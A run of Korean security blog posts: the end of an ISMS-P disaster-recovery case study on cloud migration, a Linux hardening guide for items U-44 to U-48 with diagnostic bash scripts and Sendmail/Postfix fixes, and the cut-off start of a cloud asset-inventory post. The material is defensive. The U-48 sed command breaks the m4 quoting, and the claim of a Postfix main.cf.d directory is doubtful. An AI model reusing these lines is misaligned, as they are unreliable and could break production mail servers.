이번 사례의 직접적인 원인은 마이그레이션 기간 동안 오브젝트 스토리지의 백업 및 DR 적용을 유예한 것이다.

그러나 근본원인은 기술 설정 하나로 끝나지 않는다.

구분분석

직접 원인	신규 오브젝트 스토리지가 백업·복제 대상에서 제외됨
운영 원인	마이그레이션 기간 동안 기존 DR 정책의 적용 범위를 축소함
관리 원인	마이그레이션에 따른 변경사항과 DR 요구사항을 연계하여 재평가하지 않음
통제 원인	신규 클라우드 자원이 생성될 때 DR 적용 여부를 확인하는 절차가 부족함
재발 가능성	향후 추가되는 클라우드 스토리지에서도 동일한 누락이 발생할 가능성

따라서 단순히 현재 버킷에 백업 기능을 추가하는 것만으로는 재발방지 효과가 제한적이다.

19. 재발 방지 방안

19.1 클라우드 자원 생성 단계에서 DR 여부 확인

신규 버킷이나 저장소를 생성할 때 다음 정보를 함께 관리한다.

Resource
 ├─ Service
 ├─ Owner
 ├─ Data Classification
 ├─ Business Criticality
 ├─ RTO
 ├─ RPO
 ├─ Backup Policy
 ├─ Replication Policy
 └─ Recovery Test Schedule

19.2 IaC와 보안통제 연계

Terraform, CloudFormation 등의 IaC를 사용하는 환경이라면 인프라 배포 과정에서 필요한 보호설정을 함께 검증할 수 있다.

예를 들어 운영용 버킷 생성 시 다음 항목을 자동으로 점검할 수 있다.

[Bucket 생성]
      ↓
[Environment = PROD]
      ↓
[Criticality 확인]
      ↓
[Backup Policy 존재?]
      │
      ├─ YES → 배포
      │
      └─ NO  → 예외승인 또는 배포 차단

이러한 방식은 사람이 운영 중인 모든 클라우드 자원을 별도로 기억해야 하는 문제를 줄일 수 있다.

20. 마이그레이션 예외관리도 통제 대상이다

실무에서는 모든 시스템에 동일한 보호수준을 즉시 적용하기 어려운 상황이 발생할 수 있다.

따라서 다음과 같은 예외관리 절차를 마련할 수 있다.

항목	관리내용
예외 대상	특정 버킷 또는 시스템
예외 사유	마이그레이션 등
위험	데이터 손실 및 서비스 영향
보완대책	임시 백업 또는 스냅샷
예외 시작일	YYYY-MM-DD
예외 종료일	YYYY-MM-DD
승인자	담당 책임자
재검토일	YYYY-MM-DD
종료 조건	정식 DR 정책 적용

중요한 것은 "마이그레이션이 끝나면 적용한다"는 계획만 기록하는 것이 아니다.

현재 발생할 수 있는 위험을 평가하고, 그 기간 동안 필요한 임시 보호대책과 예외 종료조건까지 관리해야 한다.

21. 현장 심사에서 확인할 질문

DR 범위

전체 정보시스템 중 DR 대상은 어떻게 결정하는가?
클라우드 신규 자원도 DR 대상에 포함되는가?
마이그레이션 중인 시스템의 DR 범위는 어떻게 결정했는가?

RTO/RPO

해당 시스템의 RTO는 얼마인가?
RPO는 얼마인가?
해당 목표를 어떤 근거로 결정했는가?

백업

신규 S3 버킷은 백업 대상에 포함되어 있는가?
백업 주기는 어떻게 결정했는가?
백업본은 원본과 동일한 장애영역에 존재하지 않는가?
백업 실패 여부를 어떻게 확인하는가?

복제

CRR 또는 다른 복제 방식이 적용되어 있는가?
어떤 데이터를 복제하는가?
복제 실패를 어떻게 탐지하는가?
실제 객체의 복제 상태를 확인할 수 있는가?

복구

최근 복구 테스트는 언제 수행했는가?
실제 복구에 걸린 시간은 얼마인가?
정의된 RTO를 충족했는가?
복구 테스트 결과 개선사항은 무엇인가?

22. 자주 발생하는 잘못된 판단

잘못된 판단 1

"클라우드 이전이 끝나면 DR을 적용할 예정이므로 문제가 없다."

개선된 판단

향후 계획만으로 현재 운영 중인 시스템의 재해복구 위험이 해소되는 것은 아니다.

현재 운영기간 동안 발생할 수 있는 위험과 이를 보완할 대책을 함께 확인해야 한다.

잘못된 판단 2

"S3는 AWS에서 관리하므로 별도의 DR이 필요하지 않다."

개선된 판단

클라우드 사업자가 제공하는 서비스의 내구성과 조직이 요구하는 업무 복구 목표는 별개의 문제다.

조직의 RTO/RPO와 서비스 영향도를 기준으로 필요한 보호수준을 판단해야 한다.

잘못된 판단 3

"CRR을 설정했으니 백업은 끝났다."

개선된 판단

복제와 백업은 목적과 보호범위가 다를 수 있다.

CRR을 사용하더라도 복제 대상, 복제 상태, 보존정책, 복구절차 등을 확인해야 한다.

잘못된 판단 4

"백업 CronJob이 존재하므로 백업이 정상이다."

개선된 판단

설정파일의 존재와 실제 백업 성공은 다르다.

실행 로그, 대상 범위, 백업본 존재 여부, 실패 여부, 복구 테스트까지 확인해야 한다.

23. 실무 점검 체크리스트

재해복구 계획

재해 유형을 식별했는가
업무 영향 분석을 수행했는가
시스템별 중요도를 정의했는가
RTO를 정의했는가
RPO를 정의했는가
복구전략을 수립했는가

클라우드 환경

신규 클라우드 자원이 DR 범위에서 누락되지 않았는가
운영 버킷을 식별하고 있는가
백업 대상 범위를 관리하고 있는가
복제 대상 범위를 관리하고 있는가
복제 실패를 모니터링하고 있는가

백업

백업 스케줄이 정상 실행되는가
백업 실패를 탐지하는가
백업본의 보존기간을 관리하는가
원본과 백업본의 장애영역을 분리했는가
필요한 경우 백업본의 삭제·변조 방지수단을 적용했는가

복구

복구절차가 문서화되어 있는가
정기적인 복구 테스트를 수행하는가
복구 소요시간을 측정하는가
RTO/RPO 충족 여부를 확인하는가
테스트 결과에 따른 개선조치를 수행하는가

변경관리

마이그레이션 대상 시스템의 DR 영향을 검토했는가
신규 클라우드 자원 추가 시 DR 여부를 검토하는가
예외사항에 대한 승인 절차가 있는가
예외 종료일과 재검토일을 관리하는가

24. 이번 사례에서 가장 중요한 포인트

이번 사례를 단순하게 정리하면 다음과 같다.

"마이그레이션 중이라서 DR을 적용하지 않았다"는 사실 자체보다, 마이그레이션이라는 변경 상황에서 해당 스토리지의 업무 영향과 복구 요구사항을 재평가하고 현재 운영기간에 필요한 보호대책을 마련했는지가 핵심이다.

따라서 심사에서는 다음과 같은 순서로 접근하는 것이 효과적이다.

운영자산 식별
      ↓
업무 영향 분석
      ↓
재해 유형 및 영향 분석
      ↓
RTO / RPO 정의
      ↓
DR / Backup 전략 수립
      ↓
실제 구성 확인
      ↓
모니터링 확인
      ↓
복구 테스트
      ↓
결과 및 개선조치 확인

25. 마무리

클라우드 마이그레이션은 기존 인프라를 그대로 클라우드로 옮기는 단순한 작업이 아니다.

시스템 구조와 데이터 흐름, 운영 책임, 백업 범위, 재해복구 전략까지 함께 변경되는 경우가 많다.

특히 마이그레이션 기간에는 신규 자원이 계속 생성되기 때문에 기존 DR 관리체계의 범위에서 누락되는 자원이 발생하기 쉽다.

이번 사례에서 중요한 것은 특정 AWS 기능을 사용했는지가 아니다.

운영 중인 시스템의 중요도와 업무 영향을 분석하고, 그 결과에 따라 필요한 복구 목표와 보호대책을 실제 환경에 적용하고 있는지가 핵심이다.

또한 기술적으로도 CRR을 구성하는 것만으로 모든 백업 요구사항이 해결되는 것은 아니다.

복제 범위와 복제 상태를 확인하고, 필요한 경우 별도의 백업과 보존정책을 구성하며, 최종적으로 실제 복구 테스트를 통해 RTO와 RPO가 달성되는지 확인해야 한다.

결국 클라우드 환경에서의 재해복구 통제는 다음 한 문장으로 정리할 수 있다.

"나중에 DR을 적용할 계획이 있는가"가 아니라, "지금 운영 중인 시스템에 발생할 수 있는 재해를 어떻게 분석하고 현재 시점에서 어떻게 복구할 수 있도록 준비했는가"를 확인해야 한다.

참고자료

ISMS-P 인증기준 2.12.1 재해·재난 대비 안전조치
AWS Amazon S3 – Replicating objects within and across Regions
AWS Amazon S3 – Getting replication status information
AWS Amazon S3 – Requirements and considerations for replication
AWS Amazon S3 – Resilience in Amazon S3
AWS Amazon S3 – Data protection in Amazon S3

[리눅스 보안 점검] 서비스 관리 보안 (U-44 ~ U-48) 종합 진단 및 실무 조치 가이드

보안실무자J — Wed, 16 Sep 2026 12:18:33 +0900

서비스 관리 및 메일 서버 보안 영역에 해당하는 U-44부터 U-48까지의 주요 보안 취약점 항목 진단 가이드를 안내해 드립니다. 본 포스팅에서는 자동 진단 스크립트의 작동 원리를 심층 분석하고, 메일 서버 및 불필요한 레거시 서비스 운용 중 발생할 수 있는 장애를 예방하기 위한 안전한 조치 및 백업 절차를 현장 실무 관점에서 안내드립니다.

1. 서비스 관리 및 메일 서버 보안 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-44	tftp, talk 서비스 비활성화	/etc/xinetd.d/tftp, /etc/inetd.conf, systemd 서비스	tftp, talk, ntalk 서비스가 비활성화되어 있는 경우	상
U-45	메일 서비스 버전 점검	Sendmail, Postfix 실행 파일 및 패키지	메일 서비스(Sendmail/Postfix)가 미구동이거나 최신 보안 패치가 적용된 경우	중
U-46	일반 사용자의 메일 서비스 실행 방지	/etc/mail/sendmail.cf, /etc/postfix/main.cf	Sendmail에 restrictqrun 옵션이 적용되어 있거나 Postfix를 사용하는 경우	중
U-47	스팸 메일 릴레이 제한	/etc/mail/access, /etc/postfix/main.cf	SMTP 서비스 미구동 또는 메일 릴레이 제한 설정이 적용되어 있는 경우	상
U-48	expn, vrfy 명령어 제한	/etc/mail/sendmail.cf, /etc/postfix/main.cf	SMTP 서비스 미구동 또는 expn, vrfy 명령어가 차단되어 있는 경우	중

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-44] tftp, talk 서비스 비활성화

① 점검 목적 및 개요

TFTP(Trivial File Transfer Protocol)는 별도의 인증 절차 없이 UDP 69번 포트를 통해 파일을 전송하는 인시큐어 프로토콜이며, Talk 및 NTalk은 평문 기반의 대화형 통신 서비스입니다. 이러한 레거시 데몬이 활성화되어 있을 경우 공격자는 시스템 내부 파일에 무단 접근하거나 세션 정보를 도청할 수 있으므로, 해당 서비스를 완전히 비활성화하는 것을 목적으로 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] 취약한 구형 서비스 목록을 저장할 변수 초기화 및 검사 대상 서비스 정의
WEAK_LEGACY_SVCS=""
TARGET_SVCS="tftp talk ntalk"

# [상세 해설] 1. xinetd 환경 점검: /etc/xinetd.d 디렉터리 존재 여부 확인 후 disable = no 설정 검색
if [ -d /etc/xinetd.d ]; then
    for svc in $TARGET_SVCS; do
        # grep을 통해 disable 설정이 no로 지정되어 활성화된 상태인지 검사
        if grep -i -q "disable[[:space:]]*=[[:space:]]*no" "/etc/xinetd.d/$svc" 2>/dev/null; then
            WEAK_LEGACY_SVCS="$WEAK_LEGACY_SVCS $svc"
        fi
    done
# [상세 해설] inetd 환경 점검: /etc/inetd.conf 파일 내 주석(#)이 없는 서비스 행 존재 여부 확인
elif [ -f /etc/inetd.conf ]; then
    for svc in $TARGET_SVCS; do
        if grep -E -i "^[[:space:]]*$svc" /etc/inetd.conf >/dev/null; then
            WEAK_LEGACY_SVCS="$WEAK_LEGACY_SVCS $svc"
        fi
    done
fi

# [상세 해설] 2. modern systemd 환경 점검: systemctl 명령으로 서비스 및 소켓의 활성화(is-active) 상태 체크
for svc in $TARGET_SVCS; do
    if systemctl is-active --quiet "$svc" 2>/dev/null || systemctl is-active --quiet "${svc}.socket" 2>/dev/null; then
        WEAK_LEGACY_SVCS="$WEAK_LEGACY_SVCS $svc"
    fi
done

# [상세 해설] 중복 추출된 서비스명을 정렬 및 단일화 처리
WEAK_LEGACY_SVCS=$(echo "$WEAK_LEGACY_SVCS" | xargs -n1 | sort -u | xargs)

# [상세 해설] 활성화된 취약 서비스 존재 여부에 따른 양호/취약 판정 출력
if [ -n "$WEAK_LEGACY_SVCS" ]; then
    WARN "보안 인증 과정이 없는 구형 서비스(tftp, talk 등)가 활성화되어 있습니다." "활성 서비스: [ $WEAK_LEGACY_SVCS ]"
else
    OK "취약한 구형 서비스(tftp, talk, ntalk)가 안전하게 차단되어 있습니다." "해당 프로세스 및 포트 미동작"
fi
FINISH "[ U-44 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 네트워크 장비(Cisco, Juniper 등)의 펌웨어 백업/복구나 PXE 부팅 서버 환경에서는 TFTP 서비스가 필수적으로 사용됩니다. 실무 현장에서 업무 연관성을 고려하지 않고 TFTP 데몬을 일괄 차단할 경우, 네트워크 장비 설정 자동화 파이프라인이나 OS 자동 설치 인프라가 마비되는 장애가 발생할 수 있습니다.
검증 및 대체 방안: 차단 전 ss -ulpn | grep :69 명령을 통해 실제 수신 중인 네트워크 연결을 확인해야 합니다. 만약 TFTP 서비스가 반드시 필요하다면 전용 폐쇄망 IP 대역으로만 접근을 제한(방화벽 정책)하거나, SSH 기반의 SFTP/SCP 환경으로 전환하는 것을 적극 권장합니다.

④ 안전한 조치 및 백업 절차

xinetd/systemd 서비스 중지 및 자동 시작 비활성화

# systemd 환경 조치
systemctl stop tftp tftp.socket talk ntalk 2>/dev/null
systemctl disable tftp tftp.socket talk ntalk 2>/dev/null

# xinetd 환경 조치 (설정 파일 존재 시)
if [ -f /etc/xinetd.d/tftp ]; then
    cp -p /etc/xinetd.d/tftp /etc/xinetd.d/tftp.bak_$(date +%Y%m%d)
    sed -i 's/disable[[:space:]]*=[[:space:]]*no/disable = yes/g' /etc/xinetd.d/tftp
    systemctl reload xinetd 2>/dev/null || service xinetd reload 2>/dev/null
fi

2.2. [U-45] 메일 서비스 버전 점검

① 점검 목적 및 개요

Sendmail 및 Postfix 등 메일 전송 데몬(MTA)의 구버전 소프트웨어에는 버퍼 오버플로우, 원격 코드 실행(RCE) 등 심각한 보안 취약점이 존재할 수 있습니다. 최신 안정 버전 패치 적용 여부를 주기적으로 점검하여 외부 악의적 공격으로부터 시스템을 보호해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] 메일 서비스 동작 상태 확인 변수 선언
MAIL_RUNNING="FALSE"

# [상세 해설] ss, netstat 명령어로 25번(SMTP) 포트 수신 여부 검사 및 systemctl/ps로 프로세스 구동 확인
if ss -nlt 2>/dev/null | grep -qE ":25\b" || netstat -nlt 2>/dev/null | grep -qE ":25\b"; then
    MAIL_RUNNING="TRUE"
elif systemctl is-active --quiet sendmail 2>/dev/null || systemctl is-active --quiet postfix 2>/dev/null; then
    MAIL_RUNNING="TRUE"
elif ps -ef | grep -E "sendmail|postfix" | grep -v "grep" >/dev/null; then
    MAIL_RUNNING="TRUE"
fi

# [상세 해설] 메일 서비스 구동 중일 경우 설치된 Sendmail 및 Postfix의 버전을 추출하여 수동 비교 유도
if [[ "$MAIL_RUNNING" == "TRUE" ]]; then
    # sendmail 디버그 옵션을 통한 버전 추출
    SM_VER=$(sendmail -d0.1 < /dev/null 2>/dev/null | grep -i "Version" | head -n 1)
    # postconf 명령을 통한 Postfix 버전 추출
    PF_VER=$(postconf -d mail_version 2>/dev/null)
    
    INFO "메일 서비스가 동작 중입니다. 최신 보안 패치가 적용된 버전인지 벤더사 권고문과 수동 비교가 필요합니다." "확인된 버전: Sendmail [ ${SM_VER:-없음} ] / Postfix [ ${PF_VER:-없음} ]"
else
    OK "메일 서비스가 구동되지 않아 점검 대상이 아닙니다." "서비스 미구동 (N/A)"
fi
FINISH "[ U-45 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

오탐 및 분석 주의사항: 보안 강화 목적으로 메일 배너 마스킹(smtpd_banner)을 적용한 경우, 외부 스캐너나 일부 진단 스크립트에서 버전 추출에 실패하거나 "없음"으로 오탐할 수 있습니다.
검증 절차: 스크립트의 실행 버전 추출에만 의존하지 말고, OS 패키지 관리자의 설치 이력을 병행 확인해야 합니다.
- RHEL/Rocky 계열: rpm -qa | grep -E "postfix|sendmail"
- Ubuntu/Debian 계열: dpkg -l | grep -E "postfix|sendmail"

④ 안전한 조치 및 백업 절차

1단계: 최신 보안 패치 적용 (OS 패키지 관리자 이용)

# RHEL/CentOS 계열 업데이트 전 패키지 목록 백업
rpm -qa > /root/pkg_list_$(date +%Y%m%d).txt
dnf update postfix sendmail -y

# Debian/Ubuntu 계열
apt-get update && apt-get install --only-upgrade postfix sendmail -y

2단계: 메일 서비스 재시작 및 동작 검증

systemctl restart postfix 2>/dev/null || systemctl restart sendmail 2>/dev/null
systemctl status postfix 2>/dev/null || systemctl status sendmail 2>/dev/null

2.3. [U-46] 일반 사용자의 메일 서비스 실행 방지

① 점검 목적 및 개요

일반 사용자가 SMTP 큐(Queue) 명령어를 강제로 실행하여 서버의 메일 발송 정책을 우회하거나, 대량 메일 발송을 통해 시스템 자원을 고갈시키는 행위를 차단하는 설정입니다. Sendmail 환경에서는 restrictqrun 옵션을 명시하여 일반 계정의 메일 큐 강제 처리를 제한해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] 메일 서비스가 동작 중인 환경에서 설정 파일 검사 수행
if [[ "$MAIL_RUNNING" == "TRUE" ]]; then
    # Sendmail 설정 파일 존재 시 PrivacyOptions 내 restrictqrun 옵션 포함 여부 검사
    if [ -f /etc/mail/sendmail.cf ]; then
        if grep -i -q "PrivacyOptions.*restrictqrun" /etc/mail/sendmail.cf; then
            OK "Sendmail 설정에 일반 사용자의 큐(Queue) 실행 방지(restrictqrun)가 적용되어 있습니다." "sendmail.cf 에 restrictqrun 옵션 존재"
        else
            WARN "Sendmail 설정에 일반 사용자의 임의적인 메일 발송/실행 방지 설정이 누락되어 있습니다." "sendmail.cf 에 restrictqrun 옵션 누락"
        fi
    # Postfix 환경은 권한 분리 모델(Setgid/postfix 유저)을 사용하므로 구조적으로 양호 처리
    elif [ -f /etc/postfix/main.cf ]; then
        OK "Postfix 메일 서버를 사용 중입니다. (아키텍처 상 일반 계정의 큐 강제 실행이 제한되므로 양호)" "Postfix 자체 권한 분리 모델 적용"
    else
        INFO "동작 중인 메일 서비스의 설정 파일을 찾을 수 없습니다." "설정 파일 경로 수동 확인 요망"
    fi
else
    OK "메일 서비스가 구동되지 않아 점검 대상이 아닙니다." "서비스 미구동 (N/A)"
fi
FINISH "[ U-46 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

Sendmail 설정 수정 시 치명적 실수: Sendmail은 /etc/mail/sendmail.cf 파일을 직접 수정하는 방식을 권장하지 않습니다. 엔지니어가 sendmail.cf를 수정해 두었더라도, 향후 m4 컴파일러를 통해 sendmail.mc 파일을 재빌드할 경우 수정했던 보안 옵션이 백업 없이 덮어씌워져 덮어쓰기 유실 장애가 발생하는 경우가 매우 빈번합니다.
올바른 설정 조치법: 반드시 /etc/mail/sendmail.mc 파일에 M4 매크로 설정을 추가한 후 .cf 파일을 재생성해야 합니다.

④ 안전한 조치 및 백업 절차

1단계: 원본 매크로 및 설정 파일 백업

cp -p /etc/mail/sendmail.mc /etc/mail/sendmail.mc.bak_$(date +%Y%m%d)
cp -p /etc/mail/sendmail.cf /etc/mail/sendmail.cf.bak_$(date +%Y%m%d)

2단계: sendmail.mc 파일 내 PrivacyOptions 수정 및 빌드

# sendmail.mc 파일에 restrictqrun 지시어가 없는 경우 추가/수정
# define(`confPRIVACY_FLAGS', `authwarnings,novrfy,noexpn,restrictqrun')dnl

# m4 컴파일 및 서비스 재로드
m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf
systemctl reload sendmail

2.4. [U-47] 스팸 메일 릴레이 제한

① 점검 목적 및 개요

메일 릴레이(Relay)는 내부 네트워크 외부의 사용자가 메일 서버를 거쳐 또 다른 외부에 메일을 발송할 수 있도록 허용하는 기능입니다. 스팸 메일 릴레이 통제가 적용되지 않은 서버는 차단 목록(RBL, Real-time Blackhole List)에 등록되어 정상적인 업무 메일 발송이 차단되는 심각한 장애를 유발할 수 있습니다.

② 자동 진단 스크립트 분석

# [상세 해설] SMTP(25번) 포트 수신 활성화 여부를 ss 또는 netstat으로 재확인
SMTP_ACTIVE=$(ss -nlt 2>/dev/null | grep -E ":25\b")
if [ -z "$SMTP_ACTIVE" ]; then
    SMTP_ACTIVE=$(netstat -nlt 2>/dev/null | grep -E ":25\b")
fi

if [ -z "$SMTP_ACTIVE" ]; then
    OK "메일 서비스(SMTP 포트 25)가 비활성화되어 있어 스팸 릴레이 악용 위험이 없습니다." "서비스 미구동 (N/A)"
else
    # [상세 해설] Postfix 설정 점검: smtpd_recipient_restrictions 내 reject_unauth_destination 필수 포함 여부 확인
    if [ -f /etc/postfix/main.cf ]; then
        RELAY_CHECK=$(grep -v '^#' /etc/postfix/main.cf | grep 'smtpd_recipient_restrictions' | grep 'reject_unauth_destination')
        if [ -n "$RELAY_CHECK" ]; then
            OK "Postfix 메일 릴레이가 안전하게 제한되어 있습니다." "main.cf 설정 양호"
        else
            WARN "Postfix 메일 릴레이 제한 설정이 누락되어 취약합니다." "reject_unauth_destination 설정 필요"
        fi
    # [상세 해설] Sendmail 설정 점검: /etc/mail/access 제어 파일 존재 확인
    elif [ -f /etc/mail/access ]; then
        OK "Sendmail 서버가 구동 중이며 access 파일로 릴레이를 통제 중입니다." "기본 접근제어 파일 존재"
    else
        WARN "메일 서비스가 구동 중이나 설정 파일(postfix/sendmail)을 찾을 수 없습니다." "수동 확인 요망"
    fi
fi
FINISH "[ U-47 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

설정 착오로 인한 오픈 릴레이 사고: Postfix main.cf에 reject_unauth_destination 옵션을 명시했더라도, 상단 mynetworks 변수에 0.0.0.0/0 또는 광범위한 CIDR 대역을 지정한 경우 모든 인터넷 사용자에게 메일 릴레이가 허용되는 치명적인 실수가 발생합니다.
안전 검증 테스트 명령어: 외부 사외 망 단말 또는 온라인 Open Relay Checker 툴을 사용하거나 local terminal에서 telnet으로 타사 도메인 발송을 시도하여 554 5.7.1 Relay access denied 응답이 출력되는지 검증해야 합니다.

④ 안전한 조치 및 백업 절차

1단계: Postfix main.cf 백업 및 문법 검사 조치

cp -p /etc/postfix/main.cf /etc/postfix/main.cf.bak_$(date +%Y%m%d)

# Postfix 릴레이 정책 설정 (main.cf 하단에 추가 또는 수정)
postconf -e "smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination"

# 설정 문법 검사
postfix check

2단계: 서비스 리로드

systemctl reload postfix

2.5. [U-48] expn, vrfy 명령어 제한

① 점검 목적 및 개요

SMTP 프로토콜의 EXPN(Expand, 메일링 리스트 확장) 및 VRFY(Verify, 사용자 계정 검증) 명령어는 특정 사용자의 존재 여부나 메일 수신 계정의 실제 정보를 반환합니다. 공격자는 이를 이용해 시스템 내 유효한 계정명을 수집(Account Enumeration)할 수 있으므로 해당 명령어를 원천 차단해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] 25번 포트 동작 여부 확인 후 미구동 시 N/A 처리
if [ -z "$SMTP_ACTIVE" ]; then
    OK "메일 서비스(SMTP 포트 25)가 비활성화되어 있어 정보 유출(expn, vrfy) 위험이 없습니다." "서비스 미구동 (N/A)"
else
    # [상세 해설] Postfix 환경: disable_vrfy_command 설정값이 yes 인지 주석을 제외하고 검사
    if [ -f /etc/postfix/main.cf ]; then
        VRFY_CHECK=$(grep -v '^#' /etc/postfix/main.cf | grep 'disable_vrfy_command' | grep -i 'yes')
        if [ -n "$VRFY_CHECK" ]; then
            OK "Postfix의 vrfy 명령어가 안전하게 차단되어 있습니다." "disable_vrfy_command = yes 적용됨"
        else
            WARN "Postfix의 vrfy 명령어가 허용되어 있어 사용자 정보 유출 위험이 있습니다." "disable_vrfy_command 설정 누락"
        fi
    # [상세 해설] Sendmail 환경: PrivacyOptions 내 novrfy 및 noexpn 키워드 포함 여부 검사
    elif [ -f /etc/mail/sendmail.cf ]; then
        PRIVACY_CHECK=$(grep -i 'PrivacyOptions' /etc/mail/sendmail.cf | grep -i 'novrfy' | grep -i 'noexpn')
        if [ -n "$PRIVACY_CHECK" ]; then
            OK "Sendmail의 expn, vrfy 명령어가 안전하게 차단되어 있습니다." "PrivacyOptions 에 novrfy, noexpn 적용됨"
        else
            WARN "Sendmail의 expn, vrfy 명령어가 허용되어 있습니다." "PrivacyOptions 수정 필요"
        fi
    else
        WARN "메일 서비스가 구동 중이나 설정 파일(postfix/sendmail)을 찾을 수 없습니다." "수동 확인 요망"
    fi
fi
FINISH "[ U-48 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

연동 영향도 분석: RFC 5321 규격상 VRFY, EXPN 명령어 제한은 표준 MTA 간의 일반 메일 송수신에 전혀 영향을 주지 않습니다. 따라서 연동 장애 위험 없이 안전하게 적용할 수 있습니다.
검증 절차: 조치 완료 후 로컬 또는 동일 대역에서 nc 또는 telnet을 이용하여 직접 아래와 같이 검증합니다.
```
$ telnet localhost 25
220 mail.example.com ESMTP
VRFY root
502 5.5.2 VRFY command disabled
```

④ 안전한 조치 및 백업 절차

1단계: Postfix 및 Sendmail 설정 백업 및 적용

# Postfix 환경 조치
if [ -f /etc/postfix/main.cf ]; then
    cp -p /etc/postfix/main.cf /etc/postfix/main.cf.bak_$(date +%Y%m%d)
    postconf -e "disable_vrfy_command = yes"
    postfix check && systemctl reload postfix
fi

# Sendmail 환경 조치
if [ -f /etc/mail/sendmail.mc ]; then
    cp -p /etc/mail/sendmail.mc /etc/mail/sendmail.mc.bak_$(date +%Y%m%d)
    # sendmail.mc 내 PrivacyOptions 옵션에 novrfy, noexpn 지정 후 re-compile
    sed -i 's/confPRIVACY_FLAGS.*/confPRIVACY_FLAGS`, `authwarnings,novrfy,noexpn,restrictqrun'\''\)dnl/' /etc/mail/sendmail.mc
    m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf
    systemctl reload sendmail
fi

3. 통합 점검 스크립트의 한계점 및 예외 처리 종합 제안

스크립트의 한계점 분석

분할 설정 디렉터리(include 구문) 미인식 문제:
최신 Linux 배포판의 Postfix 및 메일 관련 서비스는 /etc/postfix/main.cf 단일 파일이 아닌 /etc/postfix/main.cf.d/*.conf 디렉터리를 통해 설정을 분할 관리하는 경향이 있습니다. 기존 진단 스크립트는 단일 설정 파일만 grep 하므로 실제 분할 파일에 적용된 양호 설정을 오탐(취약으로 판단)할 수 있습니다.
다중 행(Multi-line) 설정 파싱 오류:
Postfix의 smtpd_recipient_restrictions 지시어는 가독성을 위해 들여쓰기를 활용하여 여러 줄로 작성되는 경우가 많습니다. 단일 grep 기반 검출 로직은 첫 번째 줄만 읽어 정밀한 옵션 존재 여부를 누락할 위험이 존재합니다.

핵심 개선 코드 스니펫 (Code Snippet)

Postfix 실행 메모리 내의 최종 유효 설정을 직접 조회하는 postconf 명령을 스크립트에 도입함으로써, 파일 분할 및 다중 행 작성 구조와 상관없이 100% 정확한 진단 결과를 도출할 수 있습니다.

# [개선 스니펫] Postfix의 활성 및 유효 설정을 정밀 검증하는 정교한 로직
if command -v postconf >/dev/null 2>&1 && systemctl is-active --quiet postfix; then
    # 1. Disable VRFY 명령어 설정 확인
    PF_VRFY=$(postconf disable_vrfy_command 2>/dev/null | awk '{print $3}')
    
    # 2. 릴레이 제한 옵션 중 reject_unauth_destination 확인
    PF_RELAY=$(postconf smtpd_recipient_restrictions 2>/dev/null)

    if [[ "$PF_VRFY" == "yes" ]] && echo "$PF_RELAY" | grep -q "reject_unauth_destination"; then
        OK "Postfix 서비스의 보안 설정(VRFY 차단 및 릴레이 제한)이 메인 메모리 구동 설정상 완벽히 적용되어 있습니다."
    else
        WARN "Postfix 서비스 구동 설정 중 VRFY 차단 또는 릴레이 제한 설정이 누락되어 있습니다."
    fi
fi

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

클라우드 리소스는 모두 정보자산 관리대장에 등록해야 할까?

보안실무자J — Wed, 16 Sep 2026 09:11:42 +0900

클라우드 리소스는 모두 정보자산 관리대장에 등록해야 할까?

— ISMS-P 2.1.3 정보자산 관리 관점에서 보는 클라우드 자산 식별과 책임소재

가상 시나리오 안내
이 글은 ISMS-P 정보자산 관리 기준을 이해하기 위한 가상의 사례를 바탕으로 작성했다. 기업명, 담당자, 자산 식별번호, 클라우드 리소스, 데이터 및 증적은 설명을 위해 임의로 구성했다. 실제 기업의 심사 결과나 특정 기업의 결함 사례가 아니다.

1. 클라우드 환경에서 정보자산 관리가 어려워지는 이유

전통적인 온프레미스 환경에서는 서버를 구매하고 설치한 뒤 자산관리대장에 등록하는 방식으로 정보자산을 관리하는 경우가 많다.

하지만 클라우드 환경에서는 자산의 생성과 변경 속도가 크게 달라진다.

예를 들어 개발자가 IaC(Infrastructure as Code)나 CI/CD 파이프라인을 통해 다음과 같은 리소스를 생성할 수 있다.

EC2
RDS
S3
EBS
Load Balancer
Lambda
EKS
Security Group
CloudFront

개발·테스트 환경에서는 이러한 리소스가 생성되었다가 며칠 또는 몇 시간 만에 삭제되기도 한다.

이 때문에 기존의 방식만으로는 클라우드 환경의 변화 속도를 따라가기 어려울 수 있다.

자산 도입
   ↓
자산번호 부여
   ↓
자산대장 등록
   ↓
소유자 지정

그렇다면 여기서 한 가지 질문이 생긴다.

클라우드에서 생성되는 모든 리소스를 기존 정보자산 관리대장에 하나씩 등록해야 할까?

이 질문에 단순히 "그렇다"고 답하는 것은 적절하지 않다.

중요한 것은 조직이 정보자산을 어떤 기준으로 식별하고 관리하도록 정했으며, 실제 클라우드 환경에서도 그 기준이 일관되게 적용되고 있는지를 확인하는 것이다.

2. 가상의 기업 및 운영환경

기업 개요

구분	내용
기업명	A사
